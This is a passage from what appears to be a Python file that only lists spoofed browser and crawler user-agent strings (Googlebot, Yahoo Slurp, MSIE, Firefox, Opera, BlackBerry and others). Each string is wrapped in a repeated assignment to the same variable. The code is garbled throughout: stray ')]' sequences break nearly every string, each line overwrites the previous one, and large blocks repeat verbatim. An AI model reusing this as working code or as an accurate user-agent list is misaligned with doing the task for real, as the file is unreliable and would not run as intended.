20011115-775; i686-pc-linux-gnu)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)] AppleWebKit/420+ (KHTML, like Gecko)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)] ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)] AppleWebKit/419 (KHTML, like Gecko, Safari/419.3)] Cheshire/1.0.ALPHA')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.2 (KHTML, like Gecko)] ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)] AppleWebKit/534.10 (KHTML, like Gecko)] Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')] useragents = [('User-agent','Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)] AppleWebKit/537.75.14 (KHTML, like Gecko)] Version/7.0.3 Safari/7046A194A')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 3.55)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 2.00)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 1.00)]')] useragents = [('User-agent','Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)] Gecko/20100101 Thunderbird/24.4.0')] useragents = [('User-agent','Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)]')] useragents = [('User-agent','SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)] (Prevx 3.0.5)] ')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8)] Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none)])]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.51')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)] AppleWebKit/417.9 (KHTML, like Gecko)] Safari/417.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; 